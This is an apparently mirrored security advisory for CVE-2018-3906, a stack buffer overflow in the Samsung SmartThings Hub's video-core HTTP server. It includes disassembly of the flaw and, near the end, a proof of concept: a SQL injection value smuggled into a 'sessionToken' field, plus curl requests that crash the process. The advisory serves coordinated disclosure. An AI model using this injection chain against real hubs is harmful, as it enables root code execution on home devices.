Lucene search

K
seebugMy SeebugSSV:97446
HistoryJul 30, 2018 - 12:00 a.m.

Samsung SmartThings Hub video-core Database shard.videoHostURL Code Execution Vulnerability(CVE-2018-3906)

2018-07-3000:00:00
My Seebug
www.seebug.org
540

0.001 Low

EPSS

Percentile

20.4%

Summary

An exploitable stack-based buffer overflow vulnerability exists in the
retrieval of a database field in video-core’s HTTP server of Samsung
SmartThings Hub. The video-core process insecurely extracts the
shard.videoHostURL field from its SQLite database, leading to a buffer
overflow on the stack. An attacker can send an HTTP request to trigger
this vulnerability.

Tested Versions

Samsung SmartThings Hub STH-ETH-250 - Firmware version 0.20.17

Product URLs

https://www.smartthings.com/products/smartthings-hub

CVSSv3 Score

7.5 - CVSS:3.0/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H

CWE

CWE-120: Buffer Copy without Checking Size of Input (‘Classic Buffer
Overflow’)

Details

Samsung produces a series of devices aimed at controlling and monitoring
a home, such as wall switches, LED bulbs, thermostats and cameras. One
of those is the Samsung SmartThings Hub, a central controller which
allows an end user to use their smartphone to connect to their house
remotely and operate other devices through it. The hub board utilizes
several systems on chips. The firmware in question is executed by an
i.MX 6 SoloLite processor (Cortex-A9), which has an ARMv7-A
architecture.

The firmware is Linux-based, and runs a series of daemons that interface
with devices nearby via ethernet, ZigBee, Z-Wave and Bluetooth
protocols. Additionally, the hubCore process is responsible for
communicating with the remote SmartThings servers via a persistent TLS
connection. These servers act as a bridge that allows for secure
communication between the smartphone application and the hub. End users
can simply install the SmartThings mobile application on their
smartphone to control the hub remotely.

One of the features of the hub is that it connects to smart cameras,
configures them and looks at their livestreams. For testing, we set up
the Samsung SmartCam SNH-V6414BN on the hub. Once done, the livestream
can be displayed on the smartphone application by connecting either to
the remote SmartThings servers, or directly to the camera, if they’re
both in the same subnetwork.

Inside the hub, the livestream is handled by the video-core process,
which uses ffmpeg to connect via RTSP to the smart camera in its same
local network, and at the same time, provides a streamable link for the
smartphone application.

The remote SmartThings servers have the ability to communicate with the
video-core process by sending messages in the persistent TLS
connection, established by the hubCore process. These messages can
encapsulate an HTTP request, which hubCore would relay directly to the
HTTP server exposed by video-core. The HTTP server listens on port
3000, bound to the localhost address, so a local connection is needed to
perform this request.

We identified a vulnerable function that can be exploited to achieve
code execution on the video-core process, which is running as root.

The hub uses a “videoHostURL” field to handle the livestreams, saved
inside the “shard” table of video-core’s SQLite database (found at
“/hub/data/videocore/db/VideoCore.db”). The “videoHostURL” is the base
address, used to build the final link that an end user can use to look
at the camera’s stream. In the hub used for our tests, the
“videoHostURL” is normally
https://vh-na04-useast2.connect.smartthings.com:8300”.

Function sub_28E2C is used to retrieve the “videoHostURL” from the
database and save it in a buffer passed as first argument:

.text:00028E2C     sub_28E2C
.text:00028E2C
.text:00028E2C     src    = -0x14
.text:00028E2C
.text:00028E2C 000        MOV             R3, #:lower16:dword_E18A0
.text:00028E30 000        STMFD           SP!, {R4-R6,LR}
.text:00028E34 010        MOVT            R3, #:upper16:dword_E18A0
.text:00028E38 010        MOV             R4, #0
.text:00028E3C 010        SUB             SP, SP, #8
.text:00028E40 018        MOV             R5, R0
.text:00028E44 018        LDR             R1, [R3,#(dword_E18B4 - 0xE18A0)]  ; [1]
.text:00028E48 018        STR             R4, [SP,#0x18+src]
.text:00028E4C 018        CMP             R1, R4                             ; [2]
.text:00028E50 018        BEQ             loc_28E80
.text:00028E54 018        ADD             R6, R0, #4
.text:00028E58 018        MOV             R2, #0x100
.text:00028E5C 018        MOV             R0, R6
.text:00028E60 018        BL              strncpy                            ; [3]
.text:00028E64 018        MOV             R0, R6
.text:00028E68 018        STRB            R4, [R5,#0x103]
.text:00028E6C 018        BL              strlen
.text:00028E70 018        STR             R0, [R5]
.text:00028E74 018        MOV             R0, R4
.text:00028E78 018        ADD             SP, SP, #8
.text:00028E7C 010        LDMFD           SP!, {R4-R6,PC}
.text:00028E80
.text:00028E80     loc_28E80
.text:00028E80 018        MOV             R1, #:lower16:aShardinmemoryd      ; "shardInMemoryDb"
.text:00028E84 018        MOV             R2, #:lower16:aVideohosturl_0      ; "videoHostURL"
.text:00028E88 018        MOVT            R1, #:upper16:aShardinmemoryd      ; "shardInMemoryDb"
.text:00028E8C 018        MOVT            R2, #:upper16:aVideohosturl_0      ; "videoHostURL"
.text:00028E90 018        MOV             R0, #3                             ; db_id
.text:00028E94 018        ADD             R3, SP, #0x18+src
.text:00028E98 018        BL              db_find                            ; [4]
.text:00028E9C 018        CMP             R0, #0
.text:00028EA0 018        BLT             loc_28EE4
.text:00028EA4 018        LDR             R4, [SP,#0x18+src]
.text:00028EA8 018        ADD             R3, R5, #4
.text:00028EAC 018        MOV             R0, R3
.text:00028EB0 018        MOV             R1, R4
.text:00028EB4 018        BL              strcpy                             ; [5]
...

If the “videoHostURL” is overridden by the value stored in the
configuration file ([1] and [2]), the “videoHostURL” is copied to the
buffer using strncpy [3] with a maximum length of 0x100 bytes.
Vice-versa, the URL is fetched from the database by using the function
db_find [4]. The query executed is:

SELECT videoHostURL FROM shard WHERE _id='shardInMemoryDb'

The result is finally copied in the buffer using strcpy [5]. Since
there is no restriction on the length of the copy operation, the buffer
can be overflowed, which allows for overflowing the stack buffer of the
parent function and execute arbitrary code.

This function is reachable in two different ways:

- By the "imageUploader" and "mp4Uploader" threads, which are calling this the vulnerable function every second.
- By sending a PUT request to video-core's HTTP server for the path "/cameras/<camera-id>/streams/<stream-name>"

Moreover, each of the three callers above pass a stack buffer when
calling the vulnerable function, so all of the possible buffer overflows
are stack-based.

Note that while we scored this vulnerability CVSS 7.5 on its own, it
would constitute a CVSS 8.5
(CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H) when combined with
TALOS-2018-0556. This is demonstrated in the proof of concept below.

Exploit Proof of Concept

The following proof of concept shows how to crash the video-core
process:

1- Modify the "shard.videoHostURL" value in the database. This is possible, for example, using using TALOS-2018-0556:
$ sInj='","_id=0 where 1=2;update shard set videoHostURL=replace(substr(quote(zeroblob((13000 + 1) / 2)), 3, 13000), \\"0\\", \\"A\\");--":"'
$ curl -X POST 'http://127.0.0.1:3000/credentials' -d "{'s3':{'accessKey':'','secretKey':'','directory':'','region':'','bucket':'','sessionToken':'${sInj}'},'videoHostUrl':'127.0.0.1/'}"

2- Two options:
    A- Wait (about one second) for one of the threads to execute the vulnerable function.
    B- Send the "streams" request, using curl from inside the hub, but the same request could be sent using a SmartApp.
    $ curl -X PUT "http://127.0.0.1:3000/cameras/<camera-id>/streams/hls1080p" -d '{"oauthToken":"x"}'

Timeline

  • 2018-04-16 - Vendor Disclosure
  • 2018-05-23 - Discussion with vendor/review of timeline for disclosure
  • 2018-07-17 - Vendor patched
  • 2018-07-26 - Public Release

0.001 Low

EPSS

Percentile

20.4%